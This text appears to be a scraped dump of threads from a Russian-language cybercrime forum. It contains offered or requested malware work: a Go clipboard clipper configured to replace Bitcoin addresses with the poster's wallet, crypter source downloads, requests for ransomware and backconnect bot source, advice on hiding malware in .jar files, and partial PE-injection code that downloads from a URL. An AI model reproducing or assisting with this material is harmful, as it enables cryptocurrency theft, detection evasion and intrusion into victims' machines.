                while ((stdout = await process.StandardOutput.ReadLineAsync()) != null)
                {
                    if (stdout.Contains("Threat  "))
                    {
                        string[] sig = stdout.Split(' ');
                        string sigName = sig[19];
                        Console.WriteLine($"File matched signature: \"{sigName}\"\n");
                        break;
                    }
                }
            }

            switch (process.ExitCode)
            {
                case 0:
                    return ScanResult.NoThreatFound;
                case 2:
                    return ScanResult.ThreatFound;
                default:
                    return ScanResult.Error;
            }
        }

        public enum ScanResult
        {
            [Description("No threat found")]
            NoThreatFound,
            [Description("Threat found")]
            ThreatFound,
            [Description("The file could not be found")]
            FileNotFound,
            [Description("Timeout")]
            Timeout,
            [Description("Error")]
            Error
        }

        //Adapted from https://www.codeproject.com/Articles/36747/Quick-and-Dirty-HexDump-of-a-Byte-Array
        public static void HexDump(byte[] bytes, int bytesPerLine = 16)
        {
            if (bytes == null)
            {
                Console.WriteLine("[-] Empty array supplied. Something is wrong...");
                return;
            }

            int bytesLength = bytes.Length;
            int totalLines = (bytesLength + bytesPerLine - 1) / bytesPerLine;
            StringBuilder result = new StringBuilder();

            for (int line = 0; line < totalLines; line++)
            {
                int lineStart = line * bytesPerLine;
                int lineEnd = Math.Min(lineStart + bytesPerLine, bytesLength);
                int lineLength = lineEnd - lineStart;

                // Hex representation
                StringBuilder hexBuilder = new StringBuilder(lineLength * 3);
                for (int i = lineStart; i < lineEnd; i++)
                {
                    hexBuilder.Append(bytes[i].ToString("X2"));
                    hexBuilder.Append(" ");
                }
                string hexLine = hexBuilder.ToString().PadRight(bytesPerLine * 3);

                // ASCII representation
                StringBuilder asciiBuilder = new StringBuilder(lineLength);
                for (int i = lineStart; i < lineEnd; i++)
                {
                    byte b = bytes[i];
                    char c = (b >= 32 && b <= 126) ? (char)b : '.';
                    asciiBuilder.Append(c);
                }
                string asciiLine = asciiBuilder.ToString();

                // Combine hex and ASCII lines
                string fullLine = $"{hexLine}  {asciiLine}\n";
                result.Append(fullLine);
            }

            Console.WriteLine(result.ToString());
        }

    }
}

Надеюсь, что этот проект будет полезным для вас, и я призываю вас воспользоваться им. Если у вас есть какие-либо вопросы или отзывы, буду рад услышать их.

Удачи и продуктивного анализа сигнатур!

Tiny JSON parser
ID: 6765d804b4103b69df375a50
Thread ID: 38635
Created: 2020-06-20T11:50:41+0000
Last Post: 2020-06-20T11:50:41+0000
Author: Jeffs
Replies: 0 Views: 997

Набросал простенький json-парсер. За основу был взят https://github.com/rafagafe/tiny-json
Пример использования:

C++:Copy to clipboard

#include <windows.h>

#include "json.h"

#pragma comment(linker, "/SUBSYSTEM:Windows /ENTRY:main")

#define FIELDS_COUNT 4

int main()
{
    char jsonObj[] = "{\"str_value\": \"json string\", \"bool_value\": false, \"int_value\": 228}";
    char output[MAX_PATH];

    json_t mem[FIELDS_COUNT];
    json jObj(jsonObj, mem, FIELDS_COUNT);

    jObj.property("str_value");
    if (jObj.type() == JSON_STR)
    {
        wsprintfA(output, "str_value = %s\n", jObj.string());
        OutputDebugStringA(output);
    }

    jObj.property("bool_value");
    if (jObj.type() == JSON_BOOL)
    {
        wsprintfA(output, "bool_value = %s\n", jObj.boolean() ? "true" : "false");
        OutputDebugStringA(output);
    }

    jObj.property("int_value");
    if (jObj.type() == JSON_INT)
    {
        wsprintfA(output, "int_value = %d\n", jObj.num());
        OutputDebugStringA(output);
    }

    return 0;
}

Пароль:

You must have at least 20 message(s) to view the content.

Как инжектить драйвера в windows?
ID: 6765d804b4103b69df3759a3
Thread ID: 52415
Created: 2021-06-02T08:46:56+0000
Last Post: 2021-06-02T16:35:39+0000
Author: fristailxxx
Replies: 5 Views: 997

Начал увлекаться написанию драйверов, пока знания на очень низком уровне.
И все что делает мой драйвер это выводит Hello через функцию DbgPrint.
Инжект делаю через process hacker, а отлаживаю) через DBGview.
Но вопрос в том, как мне написать самому или же сделать пасту какого нибудь инжектора?
Нужно чтобы человек открывал exe файл и драйвер загружался.

На гитхабе годного не нашел, а в гугле вроде пусто.

Заранее спасибо.

Литература по JAVA.
ID: 6765d804b4103b69df375917
Thread ID: 61252
Created: 2022-01-12T14:39:08+0000
Last Post: 2022-01-19T08:40:34+0000
Author: 3113
Prefix: Мануал/Книга
Replies: 1 Views: 994

Всем доброго! Накопилась литература , надеюсь будет кому-то полезна.

Где же ты, Backconnect socks5 source?
ID: 6765d804b4103b69df3758bd
Thread ID: 67390
Created: 2022-05-20T11:26:53+0000
Last Post: 2022-06-05T14:55:06+0000
Author: whatisit
Replies: 8 Views: 989

Откуда можно выдернуть рабочие сорцы клиента И сервера Backconnect socks5 на с++\с под Виндоус??
Перерыл кучу исходников ботов, не нашел рабочее. Может кто уже сталкивался.
Спасибо.!

затемнять Java вредоносное ПО
ID: 6765d804b4103b69df375a2f
Thread ID: 41282
Created: 2020-08-24T21:43:26+0000
Last Post: 2020-08-31T15:36:05+0000
Author: abeona11
Replies: 3 Views: 984

Я новичок в этом и хочу узнать, как скрыть вредоносное ПО в .jar, кто может научить меня или у кого есть статьи, которые могут мне помочь?
на данный момент я вижу proguard, но не знаю, как им пользоваться, потому что у меня нет вредоносного кода.
Спасибо большое.

Парсинг бинарника
ID: 6765d804b4103b69df3759a4
Thread ID: 51377
Created: 2021-05-04T13:04:26+0000
Last Post: 2021-06-02T05:35:53+0000
Author: atavism
Replies: 7 Views: 982

Пишу тулзу для поиска ROP'ов в качестве практики сишечки.
Возник вопрос: как правильно спарсить бинарник? Не уверен, что обычный fopen что сможет открыть его правильно (ибо опкоды). Есть еще какие-либо способы это сделать адекватно?

builder-stub methods?
ID: 6765d804b4103b69df375804
Thread ID: 80785
Created: 2023-01-28T11:15:47+0000
Last Post: 2023-03-31T23:15:48+0000
Author: 3c2n90yt57489t3y8794
Replies: 12 Views: 974

Hello, I'm interested in builder stub methods, I did't find more than 2-3 blogs/threads around the web, most of them are old. I'm interested in learning what are the best ways (high level theory) to write information from the builder to the stub, so: what are the methods available, what are the best and why. I want to use C for both the builder and the stub.
I found two methods: writing in the EOF and using Resource, but I know there are others.

Тренинги по архитектуре Android приложений
ID: 6765d804b4103b69df375923
Thread ID: 60653
Created: 2021-12-29T12:40:35+0000
Last Post: 2021-12-29T15:55:03+0000
Author: Pirate
Prefix: Мануал/Книга
Replies: 8 Views: 973

Для тех кто хочет научиться внедрять свои эксплоиты в пользовательские приложения, а не так как это делает большинство эксплоитов создавая максимально подозрительные APK...

PACKT - Building Professional Android Applications Training Video Course

[ PACKT Building Professional Android Applications – Google Drive

](https://drive.google.com/open?id=159XwqMS1DMgg9-A4kk8OcR8sXaKbJUAF)

drive.google.com drive.google.com

PACKT - Android Application Architecture Training Video Course

[ Packt Android Application Architecture – Google Drive

](https://drive.google.com/open?id=14NndBcawget0gCJWOBHpRj41DScYS9Gx)

drive.google.com drive.google.com

Всем удачного и продуктивного обучения!

WinAPI hook
ID: 6765d804b4103b69df3757ce
Thread ID: 88561
Created: 2023-05-21T22:30:30+0000
Last Post: 2023-07-06T07:05:17+0000
Author: skizy
Replies: 11 Views: 970

Есть ли возможность хукнуть ту или иную функцию в kernel32.dll глобально без длл инжекта? Хочу хукнуть ReadProcessMemory для предотвращение чтения памяти моей апплы

StarJIeuSoftbase,помогите с конфигами для софта!!!
ID: 6765d804b4103b69df375ada
Thread ID: 32314
Created: 2019-10-07T01:40:33+0000
Last Post: 2019-10-07T01:42:20+0000
Author: waldemar161
Replies: 1 Views: 967

Если тему не тут выложил,прошу перенести!!!

Hidden content for authorized users.

yadi.sk

StarJIeuSoftbase.exe

View and download from Yandex.Disk

yadi.sk yadi.sk

вот сам конфиг https://yadi.sk/d/4p4RaYgH3GHR7z
https://yadi.sk/d/UGDuF2MC3GHR85

Пиши, как тиктокер, а не как дед
ID: 6765d804b4103b69df3757b8
Thread ID: 94852
Created: 2023-08-05T10:31:58+0000
Last Post: 2023-08-07T17:49:28+0000
Author: DildoFagins
Prefix: Видео
Replies: 7 Views: 962

Угорел с названия презентации Анатолия (не побоюсь этого слова) Жмура, да и в целом презентация довольно неплохая, хоть я и смотрел ее на 1.25 скорости. Посвящена новомодному синтаксическому сахару Шарпов. Ну и да, следует заметить, что многие фичи и сахарок новых стандартов языка программирования С#

  • это чисто фичи компиляции, то есть многие из них можно спокойно использовать под даже старыми добрыми фреймворками 3.5 и 4.0 (или даже 2.0, если вы фартовые ребяты). Так что го модернизировать свои шарповые кодесы, поцоны (ну или нет, дедом тоже быть не то чтобы очень плохо):
Souce .net/nateve crypter
ID: 6765d804b4103b69df375a13
Thread ID: 43541
Created: 2020-10-26T12:39:27+0000
Last Post: 2020-10-26T12:39:27+0000
Author: MaYheM
Replies: 0 Views: 956

Лазил по каналам в Telegram, наткнулся на неполные сурсы. После потраченных 6 часов, мне скинули фулл.

Download: https://anonfiles.com/T57dK6j3p4/Source_zip

pass:xss.is

x32 vs x64 payload
ID: 6765d804b4103b69df37569d
Thread ID: 125452
Created: 2024-10-24T11:54:55+0000
Last Post: 2024-11-22T09:36:56+0000
Author: DM7
Replies: 7 Views: 954

Why are most payloads x32 instead of x64, i mean the new ones too, is there a any certain reason why it is this way if so what are the reasons. I feel like x64 is more up to date and better in that sense so please inform me :D

ChaCha20 winapi справка
ID: 6765d804b4103b69df375a2a
Thread ID: 41734
Created: 2020-09-04T00:25:01+0000
Last Post: 2020-09-04T06:13:49+0000
Author: GlowingOne
Replies: 4 Views: 951

я хочу внедрить этот шифр в приложение на языке Си, но не знаю, с чего начать. Какие ресурсы я должен искать?

Исходники клиппера на golang
ID: 6765d804b4103b69df3759ca
Thread ID: 49756
Created: 2021-03-23T16:09:43+0000
Last Post: 2021-03-23T16:09:43+0000
Author: Jeffs
Replies: 0 Views: 947

Всё так же познаю азы работы с winapi на го, для практики написал простой клиппер. Регистрируем класс, создаём окно, добавляем свой листенер изменений буфера обмена, в в обработчике нашего окна ловим событие WM_CLIPBOARDUPDATE ну и заменяем буфер на нужное нам значение, если текст в буфере подходит под одну из регулярок в конфиге. Авторан пока что реализован просто через schtasks.exe, чуть позже переделаю на COM планировщика (как изучу как вообще с COM работать на го).
Кошельки указывать в файле internal/config/config.go, пример:

C:Copy to clipboard

func NewConfig() *Config {
    return &Config{
        wallets: []Wallet{
            {
                RegEx:  "^(bc1|[13])[a-zA-HJ-NP-Z0-9]+",
                Wallet: "btc",
            },
            {
                RegEx:  "*",
                Wallet: "my awesome wallet",
            }, // не забываем запятую
        },
    }
}

Ну и в принципе всё. Сурсы в аттаче, собираем так же батником build_win32_gui.bat. Вес собранного бинаря 1.6 метра, под upx 600 кб.

Merge File Sort или быстрая сортировка строк и удаление дублей на C# в больших логах .txt
ID: 6765d804b4103b69df3756a5
Thread ID: 123341
Created: 2024-09-23T11:18:02+0000
Last Post: 2024-10-28T13:36:57+0000
Author: rand
Prefix: Статья
Replies: 6 Views: 945

Всем привет, вариант отработки этого (https://xss.is/threads/123192/) алгоритма на C#, при компиляции в Visual Studio 2022 не забудьте поставить Nuget Packet: Microsoft.Extensions.Logging

Написал: rand
Эксклюзивно для: XSS.is

C#:Copy to clipboard

using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Text;
using Microsoft.Extensions.Logging;
using System.Threading;

class Program
{
    // Инициализация логгера для вывода информации в консоль с уровнем сообщений от Information и выше
    private static readonly ILogger logger = LoggerFactory.Create(builder =>
    {
        builder.AddConsole();
        builder.AddFilter(level => level >= LogLevel.Information);
    }).CreateLogger<Program>();

    // Определение временной директории для хранения промежуточных файлов
    private static string tempDir = Path.Combine(Directory.GetCurrentDirectory(), "TEMP");

    // Объекты блокировки для синхронизации потоков при работе с общими ресурсами
    private static readonly object _finalTempFilesLock = new object();
    private static readonly object _totalCountLock = new object();

    // Основной метод программы
    static async Task Main(string[] args)
    {
        // Запуск таймера для измерения времени выполнения программы
        var stopwatch = Stopwatch.StartNew();
        string inputFile = "large_random_emails.txt";   // Имя импортируемого файла
        string outputFile = "output-sorted-unique.txt"; // Имя экспортируемого файла

        logger.LogInformation($"Запуск программы для обработки файла {inputFile} и сохранения в {outputFile}");

        // Запуск асинхронной функции для сортировки и удаления дубликатов
        int originalCount = await SortAndUniqStreaming(inputFile, outputFile);

        // Остановка таймера и вывод итоговой информации
        stopwatch.Stop();
        logger.LogInformation($"Всего обработано строк: {originalCount}");
        logger.LogInformation($"Удаление дублей и сортировка заняли {stopwatch.Elapsed.TotalSeconds:F4} секунд");
    }

    // Асинхронная функция, которая реализует чтение файла, сортировку и удаление дубликатов
    static async Task<int> SortAndUniqStreaming(string inputFile, string outputFile, int chunkSize = 2000000, int batchSize = 10)
    {
        // Потокобезопасная коллекция для хранения задач по обработке чанков
        ConcurrentBag<Task<string>> tempFileTasks = new ConcurrentBag<Task<string>>();
        List<string> chunk = new List<string>();  // Список для хранения текущего чанка данных
        int originalCount = 0; // Счётчик общего количества строк

        // Проверка наличия временной директории и создание её при необходимости
        if (!Directory.Exists(tempDir))
        {
            Directory.CreateDirectory(tempDir);
        }

        logger.LogInformation($"Чтение файла {inputFile}...");

        // Чтение файла построчно
        using (StreamReader reader = new StreamReader(inputFile, Encoding.UTF8))
        {
            while (!reader.EndOfStream)
            {
                string line = await reader.ReadLineAsync();  // Чтение строки
                chunk.Add(line.Trim());                      // Добавление строки в чанк
                originalCount++;                             // Увеличение счётчика строк

                // Если чанк заполнен (достигнут лимит chunkSize), отправляем его на обработку
                if (chunk.Count >= chunkSize)
                {
                    var chunkCopy = chunk.ToArray();         // Копирование чанка для передачи в задачу
                    logger.LogInformation($"Чанк заполнен ({chunk.Count} строк). Начинаем обработку.");
                    tempFileTasks.Add(Task.Run(() => ProcessChunk(chunkCopy))); // Запуск задачи на обработку чанка
                    chunk.Clear();                          // Очистка чанка для новых данных
                }
            }

            // Обработка последнего неполного чанка, если он остался
            if (chunk.Count > 0)
            {
                var chunkCopy = chunk.ToArray();
                logger.LogInformation($"Обработка последнего неполного чанка размером {chunk.Count} строк.");
                tempFileTasks.Add(Task.Run(() => ProcessChunk(chunkCopy)));
            }
        }

        // Ожидание завершения всех задач по обработке чанков
        logger.LogInformation("Ожидание завершения обработки всех чанков...");
        string[] tempFiles = await Task.WhenAll(tempFileTasks);

        logger.LogInformation("Все чанки обработаны. Начинается пакетное слияние временных файлов батчами...");

        // Удаление пустых файлов и подготовка к слиянию
        tempFiles = tempFiles.Where(file => file != null).ToArray();
        ConcurrentBag<string> finalTempFiles = new ConcurrentBag<string>(); // Хранилище финальных временных файлов
        int totalUniqueCount = 0;  // Общее количество уникальных строк
        int totalDuplicateCount = 0; // Общее количество дубликатов

        // Разбиение файлов на батчи для пакетной обработки
        var mergeTasks = new List<Task>();
        for (int i = 0; i < tempFiles.Length; i += batchSize)
        {
            var batch = tempFiles.Skip(i).Take(batchSize).ToArray();

            // Создание задачи для слияния батча
            mergeTasks.Add(Task.Run(async () =>
            {
                if (batch.Length > 1)
                {
                    string tempOutputFile = Path.Combine(tempDir, Path.GetRandomFileName()); // Имя временного файла для слияния
                    logger.LogInformation($"Слияние батча из {batch.Length} файлов в {tempOutputFile}.");
                    var mergeResult = await MergeFiles(batch, tempOutputFile);  // Слияние файлов в батче

                    finalTempFiles.Add(tempOutputFile); // Добавление итогового файла в общий список

                    // Увеличение глобальных счётчиков уникальных строк и дубликатов
                    Interlocked.Add(ref totalUniqueCount, mergeResult.Item1);
                    Interlocked.Add(ref totalDuplicateCount, mergeResult.Item2);

                    // Удаление временных файлов после их слияния
                    foreach (var tempFile in batch)
                    {
                        if (File.Exists(tempFile))
                        {
                            File.Delete(tempFile);
                        }
                    }
                }
                else
                {
                    // Если в батче только один файл, добавляем его без изменений
                    finalTempFiles.Add(batch[0]);
                }
            }));
        }

        // Ожидание завершения всех задач по слиянию файлов
        await Task.WhenAll(mergeTasks);

        // Финальное слияние временных файлов в выходной файл
        if (finalTempFiles.Count > 0)
        {
            logger.LogInformation($"Финальное слияние {finalTempFiles.Count} временных файлов в {outputFile}.");
            var mergeFinalResult = await MergeFiles(finalTempFiles.ToArray(), outputFile); // Окончательное слияние
            totalUniqueCount += mergeFinalResult.Item1; // Добавление уникальных строк
            totalDuplicateCount += mergeFinalResult.Item2; // Добавление дубликатов
        }

        // Вывод информации о количестве уникальных строк и дубликатов
        logger.LogInformation($"Уникальных строк: {totalUniqueCount}, дублей удалено: {totalDuplicateCount}");
        return originalCount; // Возврат общего количества строк
    }

    // Функция для обработки чанка: удаление дубликатов и запись уникальных строк во временный файл
    static async Task<string> ProcessChunk(string[] chunk)
    {
        try
        {
            logger.LogInformation($"Начало обработки чанка размером {chunk.Length} строк");

            if (chunk.Length == 0)
            {
                logger.LogWarning("Пустой чанк, пропуск записи во временный файл.");
                return null; // Пропуск обработки пустого чанка
            }

            int originalCount = chunk.Length; // Количество строк до удаления дублей
            var uniqueItems = chunk.AsParallel().Distinct().OrderBy(x => x).ToList(); // Удаление дублей и сортировка
            int duplicateCount = originalCount - uniqueItems.Count; // Вычисление количества дубликатов

            string tempFilePath = Path.Combine(tempDir, Path.GetRandomFileName()); // Создание имени временного файла

            if (uniqueItems.Count > 0)
            {
                // Запись уникальных строк во временный файл
                logger.LogInformation($"Чанк перед записью: {uniqueItems.Count} уникальных строк, дублей удалено: {duplicateCount}. Запись в файл {tempFilePath}");
                await File.WriteAllLinesAsync(tempFilePath, uniqueItems);
                logger.LogInformation($"Чанк успешно записан во временный файл {tempFilePath}");
                return tempFilePath; // Возвращаем путь к временному файлу
            }

            logger.LogWarning($"Чанк пуст после удаления дублей, файл {tempFilePath} не создан.");
            return null; // Если после удаления дублей чанк пуст, не создаём файл
        }
        catch (Exception ex)
        {
            // Логируем ошибку и возвращаем null
            logger.LogError($"Ошибка при обработке чанка: {ex}");
            return null;
        }
    }

    // Функция для слияния временных файлов и удаления дублей
    static async Task<(int, int)> MergeFiles(string[] tempFiles, string outputFile)
    {
        try
        {
            logger.LogInformation($"Окончательное слияние {tempFiles.Length} временных файлов в {outputFile}");

            int uniqueCount = 0;    // Счетчик уникальных строк
            int duplicateCount = 0; // Счетчик дубликатов

            // Создаем StreamWriter для записи результата в выходной файл
            using (StreamWriter writer = new StreamWriter(outputFile, false, Encoding.UTF8))
            {
                // Открываем каждый временный файл с помощью StreamReader
                var readers = tempFiles.Select(file => new StreamReader(file)).ToList();
                // Используем итератор для объединения данных из всех файлов
                var mergedIter = Merge(readers);

                string prevLine = null;  // Переменная для отслеживания предыдущей строки

                // Проход по всем строкам, полученным из слияния
                await foreach (var line in mergedIter)
                {
                    // Если текущая строка не совпадает с предыдущей (т.е. строка уникальна)
                    if (line != prevLine)
                    {
                        // Записываем строку в файл
                        await writer.WriteLineAsync(line);
                        prevLine = line;  // Обновляем предыдущую строку
                        uniqueCount++;    // Увеличиваем счетчик уникальных строк
                    }
                    else
                    {
                        duplicateCount++; // Если строка повторяется, увеличиваем счетчик дубликатов
                    }
                }

                // Закрываем все StreamReader после завершения обработки
                foreach (var reader in readers)
                {
                    reader.Close();
                }
            }

            // Логируем результаты слияния: сколько уникальных строк и сколько дубликатов было удалено
            logger.LogInformation($"Слияние завершено. Уникальных строк: {uniqueCount}, дублей удалено: {duplicateCount}");
            return (uniqueCount, duplicateCount);  // Возвращаем количество уникальных строк и дубликатов
        }
        catch (Exception ex)
        {
            // Логируем ошибки, если произошел сбой при слиянии
            logger.LogError($"Ошибка при слиянии файлов: {ex}");
            return (0, 0);  // Возвращаем 0 в случае ошибки
        }
    }

    // Итератор для слияния строк из всех временных файлов
    static async IAsyncEnumerable<string> Merge(IEnumerable<StreamReader> readers)
    {
        // Используем SortedDictionary для сортировки строк при слиянии
        var pq = new SortedDictionary<string, List<StreamReader>>();

        // Проходим по каждому StreamReader и добавляем первую строку в словарь
        foreach (var reader in readers)
        {
            if (!reader.EndOfStream)
            {
                string line = await reader.ReadLineAsync();
                if (!pq.ContainsKey(line))
                    pq[line] = new List<StreamReader>();
                pq[line].Add(reader);
            }
        }

        // Пока есть строки для обработки
        while (pq.Count > 0)
        {
            var first = pq.First();  // Получаем первую (наименьшую) строку из словаря
            yield return first.Key;  // Возвращаем строку

            // Читаем следующие строки из соответствующих StreamReader
            foreach (var reader in first.Value)
            {
                if (!reader.EndOfStream)
                {
                    string line = await reader.ReadLineAsync();
                    if (!pq.ContainsKey(line))
                        pq[line] = new List<StreamReader>();
                    pq[line].Add(reader);  // Добавляем строку в словарь для дальнейшей обработки
                }
            }

            // Удаляем обработанную строку из словаря
            pq.Remove(first.Key);
        }
    }
}

Тестирование 100 миллионов строк на файле размером 2GB (Ryzen 5600 4700mhz, 32GB DDR4 3600Mhz):

1727102537685.png

P.S. Есть баги со счетчиками расчета дублей строк (мне лень пока это фиксить, буду признателен если кто пофиксит), давно не кодил на шарпе, но по образцовому файлу в 2 гигабайта, сортирует и чистит правильно.

1727106688483.png

По Virus Total один детект после компиляции:

1727107160784.png

Маппинг модуля в память эффективнее RunPE?
ID: 6765d804b4103b69df375737
Thread ID: 109441
Created: 2024-03-01T20:08:15+0000
Last Post: 2024-03-04T23:28:20+0000
Author: Alexey18
Replies: 13 Views: 945

Доброго времени суток. Реализовал маппинг файла. Задался вопросом, эффективние ли это RunPE? всё же не дергаются сторонние процессы, да и вызовов винапи гораздо меньше потребовалось.

Является ли эта методика LoadPE? не очень понял. И как вообще эффективна вплане обхода?(при условии скрытых импортов естественно)

Does anyone has SamSam Ransomware source code?
ID: 6765d804b4103b69df375a57
Thread ID: 38208
Created: 2020-06-07T14:04:29+0000
Last Post: 2020-06-07T14:04:29+0000
Author: Antrax
Replies: 0 Views: 942

i found it on github, but it got deleted

Обучение c++
ID: 6765d804b4103b69df3756ab
Thread ID: 124724
Created: 2024-10-13T15:28:35+0000
Last Post: 2024-10-14T14:27:31+0000
Author: Asist
Replies: 13 Views: 942

Привет ребят решил изучить с++ не подскажите видео,мануалы,книги на ютюбе много видео хз кого слушать за ранее спасибо , всем бобра:)

Mini tor V3 onion
ID: 6765d804b4103b69df375867
Thread ID: 71464
Created: 2022-08-11T03:53:00+0000
Last Post: 2022-11-16T18:50:44+0000
Author: fest
Replies: 16 Views: 940

Народ может сможет кто подправить этот исходник под v3 onion: https://github.com/wbenny/mini-tor/tree/v0.1.29
Автору писал, тот на отрез отказался.
На обычные сайты хорошо отстукивает, на onion естественно уже не стучит.
Вообще вещь полезная, много кому пригодится.

VNC протокол
ID: 6765d804b4103b69df3759be
Thread ID: 50775
Created: 2021-04-18T16:42:43+0000
Last Post: 2021-04-19T18:57:29+0000
Author: Exfazo
Replies: 4 Views: 940

Всем привет, я начал изучать VNC. У меня много вопросов, на которые не могу найти ответы. Какой либой лучше всего сжимать данные? Зачем шифруется трафик?

  • Это же лишнее время, только из-за безопасности? Если я буду юзать просто голые сокеты, буду только сжимать буфера и отправлять через функцию send буфер от клиента к серверу, что тут плохого? Чем это хуже того способа который юзают разные паблик VNC? Что предложите? Смотреть на паблик сурсы VNC? - Там хер поймешь, что написано.
UEFI concepts Part 1.2
ID: 6765d804b4103b69df375850
Thread ID: 77549
Created: 2022-12-07T07:53:32+0000
Last Post: 2022-12-07T07:53:32+0000
Author: RtlGBI
Prefix: Статья
Replies: 0 Views: 937

Protocols

The extensible nature of UEFI is built around protocols. UEFI Drv are sometimes confused with UEFI protocols. Although they are closely related, they are distinctly different
UEFI Driver is executable the UEFI Image installs variety of protocols have various handles to accomplish
its job.
[+] UEFI Protocol : is block function pointers and data structure api have been defined by specification minimum the specification must define a (GUID).
This number is the protocols real name boot service like LocateProtocol

C++:Copy to clipboard

mBootScriptSave = 0;
  Status  = BS->LocateProtocol (&save, NULL, (VOID **)&mBootScriptSave);

uses this number to find his protocol in the handle database.
sometimes protocol often includes a set of procedures and/or data structures, called The following code sequence is an example of a protocol definition. Notice how it defines two function definitions and one
data field.

example of protocol definition

C++:Copy to clipboard

#define EFI_COMPONENT_NAME2_PROTOCOL_GUID \
  {0x6a7a5cff, 0xe8d9, 0x4f70, { 0xba, 0xda, 0x75, 0xab, 0x30, 0x25, 0xce, 0x14 } } // global id for name protocol
typedef struct _EFI_COMPONENT_NAME2_PROTOCOL EFI_COMPONENT_NAME2_PROTOCOL;

Protocol Interface Structure

C++:Copy to clipboard

typedef struct _EFI_COMPONENT_NAME2_PROTOCOL {
 [input] EFI_COMPONENT_NAME_GET_DRIVER_NAME GetDriverName; // get driver name
 EFI_COMPONENT_NAME_GET_CONTROLLER_NAME GetControllerName;//get controller name
 CHAR8 *SupportedLanguages; //List of supported languages, this protocol is RFC 4646
} EFI_COMPONENT_NAME2_PROTOCOL;

shows a single handle and protocol from the handle database that is produced by a UEFI driver.
The protocol is composed of a GUID and a protocol interface structure.
Many times the UEFI driver that produces a protocol interface maintains additional private data fields.
The protocolinterface structure itself simply contains pointers to the protocol function.
The protocol functions are actually contained within the UEFI driver.
A UEFI driver might produce one protocol or many protocols depending on the drivers complexity.
Not all protocols are defined in the UEFI
the UEFI Developer KIt(EDK) give a includes many protocols and that not part of uefi Specification

image7.jpg

These protocols provide the wider range of functionality that might be needed in any particular implementation, but they are not defined in the
UEFI Specification because they do not present an external interface that is required to support booting an OS or writing a UEFI driver. The creation of
new protocols is how UEFI-based systems can be extended over time as new devices, buses, and technologies are introduced. For example, some protocols

[+] Varstore : interface abstract storage of UEFI persistent binary objects
[+] ConIn : character console input
[+] ConOut : character console output
[+] StdErr : character console output for error message
[+] PrimaryConIn : console input with primary view
[+] VgaMiniPort : Video Graphics Array output
[+] UsbAtapi : block access on USB bus
The UEFI Application Toolkit also contains a number of UEFI protocols that may be found on some platforms, such as:
[+] PPP Daemon : Point-to-Point Protocol driver
[+] Ramdisk : file system instance on a Random Access Memory buffer
[+] TCP/IP : Transmission Control Protocol / Internet Protocol
[+] The Trusted Computing Group interface and platform specification

Click to expand...

The OS loader and drivers should not depend on these types of protocols because they are not guaranteed to be present in every UEFI-compliant system.
OS loaders and drivers should depend only on protocols that are defined in the UEFI Specification and protocols that are required by platform design.
The extensible nature of UEFI allows the developers of each platform to design and add special protocols. Using these protocols, they can expand the
capabilities of UEFI and provide access to proprietary devices and interfaces in Because a protocol is “named” by a GUID, no other protocols should have
that same identification number.
Care must be taken when creating a new protocol to define a new GUID for it. UEFI fundamentally assumes that acongruity with the rest of the UEFI architecture.
specific GUID exposes a specific protocol interface.
Cutting and pasting an existing GUID or hand-modifying an existing GUID creates the opportunity for a duplicate GUID to be introduced
A system containing a duplicate GUID
inadvertently could find the new protocol and think that it is another protocol, crashing the system as a result. For these types of bugs, finding the root cause is also very difficult. The GUID allows for naming APIs without having to
worry about namespace collision. In systems such as PC/AT BIOS, services were added as an enumeration. For example, the venerable Int15h interface
would pass the service type in AX. Since no central repository or specification managed the evolution of Int15h services, several vendors defined similar
service numbers, thus making interoperability with operating systems and preOS applications difficult. Through the judicious use of GUIDs to name APIs
and an association to develop the specification, UEFI balances the need for API evolution with interoperability

Working with Protocols
Working with Protocols
Any UEFI code can operate with protocols during boot time.
However after ExitBootServices(); is called,, the handle database is no longer available.
Several UEFI boot time services work with UEFI protocols.

Multiple Protocol Instances
A handle may have many protocols attached to it. However, it may have only one protocol of each type. In other words, a handle may not have more than one instance of the exact same protocol. Otherwise, it would make requests for a particular protocol on a handle nondeterministic.
However, drivers may create multiple instances of a particular protocol and attach each instance to a different handle. The PCI I/O Protocol fits this scenario, where the PCI bus driver installs a PCI I/O Protocol instance for each PCI device. Each instance of the PCI I/O Protocol is configured with data values that are unique to that PCI device, including the location and size of the UEFI Option ROM (OpROM) image.
Also, each driver can install customized versions of the same protocol as long as they do not use the same handle. For example, each UEFI driver
installs the Component Name Protocol on its driver image handle, yet when the EFI_COMPONENT_NAME2_PROTOCOL::GetDriverName() function is called, each handle returns the unique name of the driver that
owns that image handle.
The EFI_COMPONENT_NAME2_PROTOCOL::GetDriverName() function on the USB bus driver handle returns "USB bus driver", but on the PXE driver handle it returns "PXE base code driver"

RtlGBI said:

Credit : thx so much for my old notes and edk2

Click to expand...

RtlGBI said:

i apologize if I made a mistake in a specific point and please correct it and add extra information if you have it because I did not put all the information for several reasons

Click to expand...

Нужна помощь в запуске PE файла в памяти в другом процессе
ID: 6765d804b4103b69df3756f3
Thread ID: 116125
Created: 2024-06-05T10:49:01+0000
Last Post: 2024-06-05T16:16:36+0000
Author: Lilk
Replies: 12 Views: 935

Всем привет, помогите с решением проблемы.
Я в C++ не эксперт и в процессе написания всего этого добра изучаю потихоньку.
Сам алгоритм я в целом понимаю и предполагаю что проблема именно в том, чтобы высчитать дельту и подгрузить необходимые dll. Сам софт который я хочу подкгрузить - putty.exe.
Вот код который сейчас есть:

C++:Copy to clipboard

#include <stdio.h>
#include <Windows.h>
#include <wininet.h>
#include <psapi.h>
#include <iostream>
#include <fstream>
#include <vector>

#pragma comment(lib, "wininet.lib")

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

DWORD ExecuteInMemory(PVOID imageBase) {
    int(*EntryPoint)() = (int(*)())((DWORD_PTR)imageBase + ((PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + ((PIMAGE_DOS_HEADER)imageBase)->e_lfanew))->OptionalHeader.AddressOfEntryPoint);
    return EntryPoint();
}

DWORD InjectionEntryPoint()
{
    CHAR moduleName[128] = "";
    GetModuleFileNameA(NULL, moduleName, sizeof(moduleName));
    MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL);
    return 0;
}

bool DownloadFileFromURL(const wchar_t* url, std::vector<char>& buffer) {
    HINTERNET hInternet = InternetOpen(L"Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hInternet) {
